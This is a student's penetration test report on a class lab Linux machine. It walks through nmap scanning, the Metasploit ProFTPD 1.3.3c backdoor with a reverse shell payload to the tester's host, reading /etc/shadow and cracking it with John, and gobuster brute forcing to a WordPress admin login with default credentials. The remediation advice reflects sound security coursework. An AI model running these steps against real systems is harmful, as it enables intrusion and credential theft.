**Ethical Hacking Penetration Test Report**

By: James Parkinson

[jparki31@lakers.mercyhurst.edu,](mailto:jparki31@lakers.mercyhurst.edu,)

2023-12-08

**Contents**

1. [Ethical Hacking Penetration Test Report](#_bookmark0) 1
   1. [Introduction](#_bookmark1) 1
   2. [Objective](#_bookmark2) 1
   3. [Requirements](#_bookmark3) 1
2. [High-Level Summary](#_bookmark4) 2
   1. [Recommendations](#_bookmark5) 2
3. [Methodologies](#_bookmark6) 3
   1. [Information Gathering](#_bookmark7) 3
   2. [Penetration](#_bookmark8) 3
      1. [System IP: 192.168.1.211](#_bookmark9) 3
         1. [Service Enumeration](#_bookmark10) 3
         2. [Privilege Escalation](#_bookmark11) 4
      2. [System IP: 192.168.1.](#_bookmark12)211 5
         1. [Privilege Escalation](#_bookmark14) 5
   3. [House Cleaning](#_bookmark23) 8
4. [Additional Items](#_bookmark24) 9
   1. [Appendix - Proof and Local Contents:](#_bookmark25) 9
   2. [Appendix – Tools](#_bookmark26) Used 9

# Offensive Security OSCP Exam Report

## Introduction

This penetration test report contains all the gathered information, steps taken, and exploits found on the specified penetration test targets. The purpose of this penetration test is to provide the customer with a complete, understandable, and informative document, outlining all the discovered vulnerabilities found on the target system.

## Objective

The objective of this penetration test was to use information taught in class to attack a specified host and discover vulnerabilities on that host. Then, put all information gathered, steps taken, and vulnerabilities found and create a full professional report.

## Requirements

This penetration testing report will include the following sections:

* Overall Summary and Recommendations
* Full procedure walkthrough and detailed outline of steps taken
* Each finding with in-depth details, screenshots, and walkthrough
* Any additional items that were not included

# High-Level Summary

I was tasked with performing an internal penetration test towards IP 192.168.1.211 on the Mercyhurst domain. This attack was to simulate the actions that a real world threat actor could take against the same IP. My overall objective was to evaluate the device, discover vulnerable services running, and exploit flaws to report back to the customer.

When performing the penetration test on this IP, there were several alarming vulnerabilities that I was able to identify. When performing the initial reconnaissance on the IP, I was able to identify multiple outdated/vulnerable programs running on the device. By using exploits on the vulnerable services that were running, I was able to gain root access (the equivalent of administrator access) on the target machine. The open ports and services running on them are listed below.

* Target: 192.168.1.211 (Linux Virtual Machine)
* Open Ports/Services running on 192.168.1.211
  + Port 21 (ftp) running ProFTPD 1.3.3c
  + Port 22 (ssh) running OpenSSH 7.2p2
  + Port 80 (http) Apache httpd 2.4.18

ProFTPD 1.3.3c is a file transfer protocol that is extremely out of date. In my testing, I was able to easily exploit the vulnerable and outdated software to gain administrator access on the target machine. (See more in methodologies)

OpenSSH 7.2p2 has no significant security vulnerabilities. It is up to date and I was not able to find any security flaws during my testing.

The Apache server running has issues that need to be addressed. At first glance, there does not seem to be any significant website running. However, I was able to run a brute forcing tool that discovered a secret directory running and through methods that will be discussed further, gain admin access on the website

## Recommendations

With these vulnerabilities being found, I highly recommend that you immediately update your ftp service to a more recent and secure version. The method I used to gain admin access is commonly known and exploiting the vulnerability requires only a couple clicks and very little hacking knowledge. In addition to the FTP service, some changes also need to be made to the Apache website running on the target machine. First, if the website on the machine is not being used, it would be smart to take it offline so that it is not a target to begin with. If the website is being used, I would advise changing the 192.168.1.211/secret directory to something more random to prevent a brute force tool from finding the directory. Next, When the website redirects to <http://vtcsec/secret> and vtcsec is added to the attackers machine as a host, the attacker can then access the hidden site and attempt to login as the owner. The admin login to the site was username: admin, password: admin. These default credentials are easily guessed by attackers and need to be changed to something more complex that cannot be guessed. Lastly, an update schedule needs to be created to ensure that services running on machines are always the most secure and up-to-date versions. This will prevent common vulnerabilities from occurring on machines.

# Methodologies

For this penetration test, I used widely known and tested tools and procedures to ensure an effective and efficient test. Below is a breakout of how I was able to identify and exploit the variety of system vulnerabilities.

## Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test, such as the specified network or devices. During this penetration test, I was tasked with exploiting a specific device on the network. The specific IP address was:

**Network Device**

* 192.168.1.211

## Penetration

The penetration testing portions of the assessment focus heavily on gaining access to services running on the target system. During this penetration test, I was able to successfully gain admin access to 2 of 3 services that were running.

#### Service Enumeration

The service enumeration portion of a penetration test focuses on gathering information about what services are running on the target system. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. By knowing what services and service version the system is running, attackers can research and spot vulnerable services that could be exploited to gain system access.

Server IP Address Ports Open 192.168.1.211 **TCP**: 21, 22, 80

**Nmap Scan Results:**

Nmap is a network scanning tool that can be used to discover hosts on a network, along with services running on those devices. This is a common tool hackers use to gain initial information on the system they are attacking

**Command Ran:** sudo nmap -sSV -T4 -O -p0-65535 192.168.1.211

This command scans all the ports on the target machine to attempt to see the services running, and also view the operating system on the machine

**Proof Screenshot:**

**A screenshot of a computer program

Description automatically generated**

**Vulnerability**: This command allows an attacker to view services running on a machine. While this is not a critical vulnerability, services that are not used should be turned off, and ones that are being used need to be kept up to date. By quickly searching the version of these services, I was able to find critical vulnerabilities that could be exploited to give me admin access to the device.

**Severity**: Low

#### FTP Service Privilege Escalation

**Vulnerability Exploited**: ProFTPd-1.3.3c – Backdoor Command Execution (Metasploit)

**Vulnerability Explanation:** This exploit allows an attacker to gain administrator access to the FTP (File Transfer Protocol) service running on the vulnerable device. By using the Metasploit Framework Console (an application that allows the user to write, test, and run computer exploits), an attacker can search proftp (command: search “proftp”) and receive a list of pre-written vulnerabilities to exploit. You can use the *proftpd\_133c\_backdoor* exploit to gain root ftp access, then from there spawn a python shell to upgrade from an ftp connection to a fully interactive shell connection. We can then find and crack user passwords that are stored on the device.

**STEP-BY-STEP BREAKDOWN:**

1. Open your linux terminal
2. Type “msfconsole” to open the Metasploit framework console
3. Once in msfconsole, type “search proftp”
4. “Use exploit/unix/ftp/proftpd\_133c\_backdoor”
5. “Show info”
6. Set RHOSTS [TARGET\_IP]
   1. This specifies what device to attack
7. Now attach a payload to this exploit (this is how the exploit will be delivered to the target device)
   1. Type “show payloads”
8. A list of compatible payloads will appear, you can use almost any, but I used the reverse\_perl option by typing “set payload cmd/unix/reverse\_perl”
9. “show options”
10. “Set LHOST [YOUR\_DEVICE\_IP]”
    1. This sets which device the backdoor will connect to, make this **your** devices IP
11. “exploit”

It will take a minute to connect, but once connected you can type “whoami” to view your root access. From here we want to be able to poke around the system more. To do this we will spawn in a python shell that will give us a fully interactive shell session.

1. Now that we are in type “python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
2. This will spawn the interactive shell and we can now enter different directories on the system
3. We now want to see if there are any stored passwords on the system. Linux keeps a shadow file that has the hashed (encrypted) passwords of device users. To view this, type “cat /etc/shadow”
4. A list appears and at the bottom we can see a username with a hashed password
   1. Marlinspike
5. Copy that entire line and paste it into a text document
6. Now, open your terminal, navigate to the directory the text file is saved in and we are going to use JohnTheRipper to crack the hash and obtain the user password
7. Type john [your\_file\_name]
8. We are then greeted with the cracked password: marlinspike

This is a severe vulnerability that needs to be patched immediately. If a malicious attacker gained this access, they could easily destroy this device with malicious code, malicious files, or many other attacks.

In addition to these vulnerabilities, once you crack the password, you can use the ssh service running to access the device through ssh (ssh is a command line interface that gives you control over the device you connect to). You can simple run “ssh [marlinspike@192.168.1.211](mailto:marlinspike@192.168.1.211)”, it will ask you for a password (this is the one we just cracked) type “marlinspike”. We now also have ssh access to the computer under marlinspike’s account.

**Vulnerability Fix**: Update the FTP service on this machine to a more recent and secure version and maintain a service update schedule to prevent the ftp service from going out-of-date.

**Severity**: Severe

**Proof Screenshot**:

FTP access after running the exploit

A screenshot of a computer program

Description automatically generated

Spawning the Python Shell

A screenshot of a computer program

Description automatically generated

Viewing the Shadow File

A screenshot of a computer

Description automatically generated

Cracking the Hashed Password

A screenshot of a computer screen

Description automatically generated

Ethical Hacking Penetration Test Report 2023-12-08

### System IP: 192.168.1.211

#### Apache Service Privilege Escalation

Server IP Address Ports Open 192.168.1.211 **TCP**: 21, 22, 80

**Nmap Scan Results:** The nmap scan results for this vulnerability are the same as shown previously. Please refer to the image on page 4 for details.

**Vulnerability Explanation**: The Apache server running on this system is hosting a website. When you navigate to <http://192.168.1.211> on your web browser, you encounter a white screen that informs you that the site exists, but nothing is there. You can then run a tool called gobuster to bruteforce website directories and see if any others exist. There is a secret directory that can be accessed, then through further investigation, admin access to the secret website it possible.

**Step-By-Step Instructions:**

1. Navigate to <http://192.168.1.211> in your browser
2. From here we can run gobuster to bruteforce directory names to see if this server is running any
3. Open your linux terminal
4. Run the following command
   1. gobuster dir -u 192.168.1.211/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
5. You will get the following result
   1. RESULT /secret (Status: 301) [Size: 315] [--> http://192.168.1.211/secret/] /server-status (Status: 403) [Size: 278] Progress: 220560 / 220561 (100.00%)
6. We can now see there is a directory named /secret, lets navigate to it by going to <http://192.168.1.211/secret>
7. This hidden site just had a bunch of links that said they led to another blog
8. After finding this, I assumed there had to be a page for an admin to log in, so I researched some default login directory names and tried them
9. Wp-login.php ended up being the login page, so you can access it by navigating to <http://192.168.1.211/secret/wp-login.php>
10. When I tried to enter a username and password, I was redirected to a site that could not be found named http://vtcsec/secret (the same happens when you click on any link from the original <http://192.168.1.211/secret> page
    1. From here I guessed this hidden site was hosted on a machine named vtcsec, so I decided to add that name to my host file and see if it made a change on the site
11. Navigate to the /etc folder in your linux machine and type nano hosts
12. In that file add vtcsec and the IP 192.169.1.211
13. I saved the changes to that file and attempted to login on the login directory again
14. I decided to do some guess work and see if the default credentials were changed, after a few tries I used the username and password combination of admin/admin
15. I was then directed to a working blog site and sent to the admin settings page
16. I now had access to the administrator page of the web server running. From here, I could edit the entire site, upload malicious files, redirect to a different malicious site, etc.

**Vulnerability Fix**: If the site is not going to be launched or used, remove the service so the site cannot be accessed. Otherwise, change the hidden directory name to something that cannot be easily brute forced/found. In addition to this, the admin credentials need to be changed from their default. Admin/admin is extremely common and usually one of the first combination a hacker will guess; it is also easily guessed by a brute force attack

**Severity:** High

**Proof Screenshot:**

Adding vtcsec to host file

A screen shot of a computer

Description automatically generated

Web Result After Adding vtcsec to Host File

A potted plant on a table

Description automatically generated

Admin Page Access After Guessing Username/Password

A screenshot of a computer

Description automatically generated

Ethical Hacking Penetration Test Report 2023-12-08

## House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organization’s computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important.

After the penetration test was completed, I removed all user accounts and passwords that I had stored, Meterpreter (Metasploit services) services installed/running on the system and deleted/restored files that were added or changed on the target system.

# Additional Items

## Appendix - Proof and Local Contents:

|  |
| --- |
| IP (Hostname) |
| 192.168.1.211 |
|  |

## Appendix – Tools Used

* NMAP
* Metasploit Framework
* Gobuster
* JohnTheRipper